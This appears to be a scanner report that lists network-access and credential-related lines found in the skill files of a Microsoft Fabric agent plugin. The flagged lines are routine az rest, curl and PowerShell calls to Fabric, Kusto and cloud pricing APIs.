|---|---|---| | Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace/item IDs by name via li - Network accessline 37
| Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace/item IDs by name via list + JMESPath - Network accessline 38
| Authentication & Token Acquisition | [COMMON-CORE.md § Authentication & Token Acquisition](../../common/COMMON-CORE.md#authentication--token-acquisition) | Token audience must be `https://api.fabric.microsoft.com`; wrong audience = 401 | - Network accessline 39
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Pla - Network accessline 40
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** | - Network accessline 78
### MUST DO - Resolve pipeline, stage, and workspace **IDs by name** via list + JMESPath before any mutating call. Never fabricate GUIDs. - Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a - Network accessline 79
- Resolve pipeline, stage, and workspace **IDs by name** via list + JMESPath before any mutating call. Never fabricate GUIDs. - Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a token for t - Network accessline 80
- Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a token for the `https://api.fabric.microsoft.com` audience. - Network accessline 114
Base: `https://api.fabric.microsoft.com/v1`. Delegated scopes are **per operation** — provision a service - Network accessline 246
- **The operation ID is returned in the `x-ms-operation-id` response header** (alongside `Location`), not the `202` body. `az rest` does not surface response headers cleanly — for reliable header capture in automation, issue the deploy - Network accessline 247
`202` body. `az rest` does not surface response headers cleanly — for reliable header capture in automation, issue the deploy with `curl -i` (or Python `requests`) and parse the header, then poll `/v1/operations/{operationId}` with `az - Network accessline 248
issue the deploy with `curl -i` (or Python `requests`) and parse the header, then poll - Network accessline 266
# Idempotent: delete an existing "Sales Analytics ALM" if present, then create. EXISTING=$(az rest --method GET --resource https://api.fabric.microsoft.com \ - Network accessline 267
EXISTING=$(az rest --method GET --resource https://api.fabric.microsoft.com \ - Network accessline 268
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines" \ - Network accessline 269
--query "value[?displayName=='Sales Analytics ALM'].id | [0]" --output tsv) if [ -n "$EXISTING" ]; then az rest --method DELETE --resource https://api.fabric.microsoft.com \ - Network accessline 271
az rest --method DELETE --resource https://api.fabric.microsoft.com \ - Network accessline 272
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$EXISTING" - Network accessline 285
EOF az rest --method POST \ --resource https://api.fabric.microsoft.com \ - Network accessline 286
az rest --method POST --resource https://api.fabric.microsoft.com - Network accessline 287
--resource https://api.fabric.microsoft.com \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines" \ - Network accessline 295
# $PIPELINE_ID and $DEV_STAGE_ID resolved via list + JMESPath; $WS_ID resolved from workspace name. az rest --method POST \ --resource https://api.fabric.microsoft.com \ - Network accessline 296
az rest --method POST --resource https://api.fabric.microsoft.com - Network accessline 297
--resource https://api.fabric.microsoft.com \ - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$DEV_STAGE_ID/assignWorkspace" \ - Network accessline 305
# Kick off the deployment (returns 202 + an operation id header). az rest --method POST \ --resource https://api.fabric.microsoft.com \ - Network accessline 306
az rest --method POST --resource https://api.fabric.microsoft.com - Network accessline 307
--resource https://api.fabric.microsoft.com \ - Network accessline 308
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \ - Network accessline 318
az rest --method POST \ --resource https://api.fabric.microsoft.com \ - Network accessline 319
--resource https://api.fabric.microsoft.com \ - Network accessline 320
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \ - Network accessline 336
# and its paired targetItemId (absent = new/unpaired). There is NO timestamp or # change-status field, so "changed" must be detected from item definitions. az rest --method GET --resource https://api.fabric.microsoft.com \ - Network accessline 337
# change-status field, so "changed" must be detected from item definitions. az rest --method GET --resource https://api.fabric.microsoft.com \ --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$SOURCE_S - Network accessline 338
az rest --method GET --resource https://api.fabric.microsoft.com \ - Network accessline 339
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$SOURCE_STAGE_ID/items" \ - Network accessline 361
# 4. Selective deploy of just the changed set. az rest --method POST --resource https://api.fabric.microsoft.com \ - Network accessline 362
az rest --method POST --resource https://api.fabric.microsoft.com \ - Network accessline 363
--url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/references/scripts/diff_item_definitions.py
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/references/supported-item-types.md
- Network accessline 7
- **Canonical source (source of truth):** [Introduction to deployment pipelines § Supported items](https://learn.microsoft.com/fabric/cicd/deployment-pipelines/intro-to-deployment-pipelines#supported-items) on Microsoft Learn. Reconcile t - Network accessline 16
> **Retirement note:** Beginning **February 12, 2026**, deployment pipelines retire > support for semantic models that have **not** been upgraded to Enhanced Metadata. > See [Retirement of semantic model support](https://learn.microsoft.com - Network accessline 18
> See [Retirement of semantic model support](https://learn.microsoft.com/fabric/cicd/troubleshoot-cicd#retirement-of-semantic-model-support-for-deployment-pipelines).
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation/SKILL.md
- Network accessline 26
> **🔴 MANDATORY LIVE-PRICING FETCH — whenever your answer contains a dollar figure.** > Before presenting **any** dollar amount, cost, break-even point, billing-mode comparison, RI-vs-PAYG analysis, migration cost, or cost worksheet, you ** - Network accessline 27
> Before presenting **any** dollar amount, cost, break-even point, billing-mode comparison, RI-vs-PAYG analysis, migration cost, or cost worksheet, you **must** run a shell command (`bash`/`powershell`) that calls the Azure Retail Prices AP - Network accessline 87
If the customer already has a Fabric capacity, get its region, SKU, and state from the core Fabric REST API — `GET https://api.fabric.microsoft.com/v1/capacities` returns `region`, `sku`, and `state` per capacity. Azure Resource Manager (`a - Network accessline 96
curl -s "https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview&\$filter=serviceName%20eq%20'Microsoft%20Fabric'%20and%20armRegionName%20eq%20'<region>'" | jq '.Items[] | {meterName, retailPrice, unitOfMeasure, type, rese - Network accessline 128
> **IMPORTANT**: If the API is unreachable, inform the user and direct them to the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/). Never fall back to hardcoded prices — they go stale. - Network accessline 148
> **Documented conversion**: **1 Fabric CU = 2 Spark vCores** ([Fabric Spark concurrency limits](https://learn.microsoft.com/en-us/fabric/data-engineering/spark-job-concurrency-and-queueing)). So a node's CU equivalent is `vCores ÷ 2`. The - Network accessline 387
curl -s "https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview&\$filter=serviceName%20eq%20'Microsoft%20Fabric'%20and%20armRegionName%20eq%20'<region>'%20and%20meterName%20eq%20'autoscale%20for%20Spark%20Capacity%20Usage
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation/resources/pricing-api-reference.md
- Network accessline 11
**Base URL**: `https://prices.azure.com/api/retail/prices` - Network accessline 47
$allItems = @() $url = "https://prices.azure.com/api/retail/prices?`$filter=serviceName eq 'Microsoft Fabric'" - Network accessline 48
$url = "https://prices.azure.com/api/retail/prices?`$filter=serviceName eq 'Microsoft Fabric'" - Network accessline 86
$filter = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region' and meterName eq 'OneLake Storage $tier Data Stored'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter= - Network accessline 87
$encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $storagePrice = (Invoke-RestMethod -Uri $url -MaximumRetryCount 3 -RetryIntervalSec 5).Items | - Network accessline 88
$url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" - Network accessline 93
Write-Warning "No row for tier '$tier' in $region — listing all OneLake storage meters:" $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'" $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDa - Network accessline 94
$f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'" $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))" (Invoke-RestMethod -Uri $u -MaximumRetryCount 3 -RetryIntervalSec 5).Items - Network accessline 95
$u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))" - Network accessline 107
$filter = "serviceName eq 'Bandwidth' and armRegionName eq '$region' and meterName eq 'Standard Data Transfer Out'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter - Network accessline 108
$encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $egressItems = (Invoke-RestMethod -Uri $url).Items | - Network accessline 109
$url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" - Network accessline 119
$filter = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region' and meterName eq 'autoscale for Spark Capacity Usage CU'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$fil - Network accessline 120
$encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $sparkRate = (Invoke-RestMethod -Uri $url -MaximumRetryCount 3 -RetryIntervalSec 5).Items | - Network accessline 121
$url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" - Network accessline 126
Write-Warning "No autoscale Spark meter for $region — listing all Fabric Spark/capacity meters:" $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'" $u = "https://prices.azure.com/api/retail/prices?`$filter=$([ur - Network accessline 127
$f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'" $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))" (Invoke-RestMethod -Uri $u -MaximumRetryCount 3 -RetryIntervalSec 5).I - Network accessline 128
$u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))" - Network accessline 141
**Base URL**: `https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.CostManagement/query` - Network accessline 143
**Auth**: See [COMMON-CLI.md](../../../common/COMMON-CLI.md) — use `az rest` with `--resource https://management.azure.com` - Network accessline 240
# 3. Submit query az rest --method post ` --url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01" ` - Network accessline 241
az rest --method post --url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01" - Network accessline 242
--url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01" ` - Network accessline 261
# https://learn.microsoft.com/en-us/rest/api/fabric/core/capacities/list-capacities - Network accessline 262
az rest --method get --resource https://api.fabric.microsoft.com ` - Network accessline 263
--url "https://api.fabric.microsoft.com/v1/capacities" ` - Network accessline 275
**Fabric Admin API (tenant-wide inventory / admin-only operations)** - Base URL: `https://api.fabric.microsoft.com/v1/admin/capacities` - Network accessline 276
- Base URL: `https://api.fabric.microsoft.com/v1/admin/capacities` - Network accessline 277
- Auth: See [COMMON-CLI.md](../../../common/COMMON-CLI.md) — use `az rest` with `--resource https://api.fabric.microsoft.com` - Network accessline 308
> **⚠<U+FE0F> Unvalidated heuristics**: These are community-derived approximations, not officially published Microsoft equivalences. The Power BI P-SKU → CU mapping is based on the [published Fabric capacity equivalents](https://learn.microsoft.co - Network accessline 329
| **Azure** (Synapse, HDInsight, Azure Databricks infra, Power BI) | Azure Retail Prices API — anonymous (§1) | Azure Cost Management API (§2) | | **AWS** (Redshift, EMR, EC2, S3) | AWS Price List **Bulk** API — anonymous; or **Query** API - Network accessline 330
| **AWS** (Redshift, EMR, EC2, S3) | AWS Price List **Bulk** API — anonymous; or **Query** API (creds) | AWS Cost Explorer / Cost & Usage Report | | **Databricks** (any cloud — DBU) | **No public price API** — DBU list prices on the [Databr - Network accessline 331
| **Databricks** (any cloud — DBU) | **No public price API** — DBU list prices on the [Databricks pricing page](https://www.databricks.com/product/pricing) | `system.billing.usage` joined with `system.billing.list_prices` (Unity Catalog sys - Network accessline 339
# 1. Service offer index (lists every service offer file) GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/index.json - Network accessline 340
GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/index.json - Network accessline 342
# 2. Current price file for a specific service (e.g., Redshift, EMR, EC2) GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonRedshift/current/index.json - Network accessline 343
GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonRedshift/current/index.json - Network accessline 360
# List billable services to find a service ID (e.g., BigQuery, Dataproc) GET https://cloudbilling.googleapis.com/v1/services?key=<API_KEY> - Network accessline 361
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Network accessline 363
# List SKUs (unit prices) for a service GET https://cloudbilling.googleapis.com/v1/services/{serviceId}/skus?key=<API_KEY> - Network accessline 364
[Credential-related source omitted] - Access to secretsline 364
[Credential-related source omitted]
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-medallion-architecture/SKILL.md
- Network accessline 177
- **OneLake Shortcut** — for data already in Azure ADLS Gen2, S3, or another OneLake location - **`notebookutils.fs`** — copy from mounted storage paths within a notebook - ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs* - Network accessline 178
- **`notebookutils.fs`** — copy from mounted storage paths within a notebook - ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs** — `spark.read.format("csv").load("https://...")` will fail 2. **Read from lakehouse path**: Onc - Network accessline 179
- ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs** — `spark.read.format("csv").load("https://...")` will fail - Network accessline 320
{"displayName": "sales-analytics-dev"} EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 321
EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 322
workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 323
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 328
{"displayName": "sales_bronze", "type": "Lakehouse"} EOF az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 329
EOF az rest --method post --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \ - Network accessline 330
az rest --method post --resource "https://api.fabric.microsoft.com" \ - Network accessline 331
--url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/authoring.md
- Network accessline 29
| Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) | | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentica - Network accessline 30
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control- - Network accessline 31
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res - Network accessline 87
WS_ID="<workspace-id>" az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 88
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" - Network accessline 89
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 90
--resource "https://api.fabric.microsoft.com" \ - Network accessline 101
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 102
--url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 103
--resource "https://kusto.kusto.windows.net" \ - Network accessline 136
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 137
--url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 138
--resource "https://kusto.kusto.windows.net" \ - Network accessline 199
cat > /tmp/kql_body.json << EOF {"db":"${DB}","csl":".ingest into table Events (h'https://mystorage.blob.core.windows.net/data/events.csv.gz;impersonate') with (format='csv', ingestionMappingReference='EventsCsvMapping', ignoreFirstRecord=t - Network accessline 200
{"db":"${DB}","csl":".ingest into table Events (h'https://mystorage.blob.core.windows.net/data/events.csv.gz;impersonate') with (format='csv', ingestionMappingReference='EventsCsvMapping', ignoreFirstRecord=true)"} - Network accessline 330
az rest --method POST --url "${CLUSTER_URI}/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 332
--resource "https://kusto.kusto.windows.net" \ - Network accessline 345
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 346
--url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 347
--resource "https://kusto.kusto.windows.net" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/authoring/authoring-script-templates.md
- Network accessline 22
az rest --method POST --url "${CLUSTER_URI}/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 24
--resource "https://kusto.kusto.windows.net" \ - Network accessline 49
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 50
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 51
--resource "https://kusto.kusto.windows.net" \ - Network accessline 77
az rest --method POST --url "${CLUSTER_URI}/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 79
--resource "https://kusto.kusto.windows.net" \ - Network accessline 89
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 90
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 91
--resource "https://kusto.kusto.windows.net" \ - Network accessline 99
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 100
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 101
--resource "https://kusto.kusto.windows.net" \ - Network accessline 109
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 110
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 111
--resource "https://kusto.kusto.windows.net" \ - Network accessline 135
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 136
--url "${CLUSTER_URI}/v1/rest/mgmt" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 137
--resource "https://kusto.kusto.windows.net" \ - Network accessline 162
az rest --method POST --url "${CLUSTER_URI}/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 164
--resource "https://kusto.kusto.windows.net" \ - Network accessline 180
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 181
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 182
--resource "https://kusto.kusto.windows.net" \ - Network accessline 190
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 191
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 192
--resource "https://kusto.kusto.windows.net" \ - Network accessline 216
az rest --method POST --url "$ClusterUri/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 218
--resource "https://kusto.kusto.windows.net" ` - Network accessline 236
az rest --method POST ` --url "$ClusterUri/v1/rest/query" ` --resource "https://kusto.kusto.windows.net" ` - Network accessline 237
--url "$ClusterUri/v1/rest/query" ` --resource "https://kusto.kusto.windows.net" ` --headers "Content-Type=application/json" ` - Network accessline 238
--resource "https://kusto.kusto.windows.net" ` - Network accessline 258
az rest --method POST --url "$ClusterUri/v1/rest/mgmt" --resource "https://kusto.kusto.windows.net" - Network accessline 260
--resource "https://kusto.kusto.windows.net" ` - Network accessline 272
az rest --method POST --url "$ClusterUri/v1/rest/query" --resource "https://kusto.kusto.windows.net" - Network accessline 274
--resource "https://kusto.kusto.windows.net" `
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/consumption.md
- Network accessline 28
| Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) | | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentica - Network accessline 29
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control- - Network accessline 30
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res - Network accessline 76
# Get workspace ID (if not known) WS_ID=$(az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 77
WS_ID=$(az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 78
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 82
# List KQL Databases and get connection properties az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 83
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" - Network accessline 84
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \ - Network accessline 85
--resource "https://api.fabric.microsoft.com" \ - Network accessline 109
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 110
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 111
--resource "https://kusto.kusto.windows.net" \ - Network accessline 161
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 162
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 163
--resource "https://kusto.kusto.windows.net" \ - Network accessline 177
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 178
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 179
--resource "https://kusto.kusto.windows.net" \ - Network accessline 189
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 190
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 191
--resource "https://kusto.kusto.windows.net" \ - Network accessline 247
| Symptom | Fix | |---|---| | `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set | - Network accessline 248
|---|---| | `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set | | Empty results on valid table | Check database context; may need `database("name").table` | - Network accessline 249
| `az rest` auth fails | Run `az login` first; ensure `--resource "https://kusto.kusto.windows.net"` is set | - Network accessline 271
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 272
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 273
--resource "https://kusto.kusto.windows.net" \ - Network accessline 282
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 283
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 284
--resource "https://kusto.kusto.windows.net" \ - Network accessline 293
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 294
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 295
--resource "https://kusto.kusto.windows.net" \ - Network accessline 332
az rest --method POST \ --url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ - Network accessline 333
--url "${CLUSTER_URI}/v1/rest/query" \ --resource "https://kusto.kusto.windows.net" \ --headers "Content-Type=application/json" \ - Network accessline 334
--resource "https://kusto.kusto.windows.net" \
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli/references/authoring.md
- Network accessline 65
Create a new Event Schema Set with the [Create Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/create-event-schema-set) - Network accessline 66
[Create Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/create-event-schema-set) - Network accessline 78
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 79
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 80
--resource "https://api.fabric.microsoft.com" \ - Network accessline 94
PAYLOAD=$(printf '%s' "$DEF_JSON" | base64 -w0) # macOS: base64 | tr -d '\n' az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 95
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" - Network accessline 96
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 97
--resource "https://api.fabric.microsoft.com" \ - Network accessline 111
Change an existing item's `displayName` or `description` with the [Update Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set) - Network accessline 112
[Update Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set) - Network accessline 118
az rest --method PATCH \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 119
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 120
--resource "https://api.fabric.microsoft.com" \ - Network accessline 132
Override the item's definition — its full `eventTypes` and `schemas` — with the [Update Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set-definition) - Network accessline 133
[Update Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/update-event-schema-set-definition) - Network accessline 161
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/updateDefinition" \ - Network accessline 162
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/updateDefinition" \ - Network accessline 163
--resource "https://api.fabric.microsoft.com" \ - Network accessline 174
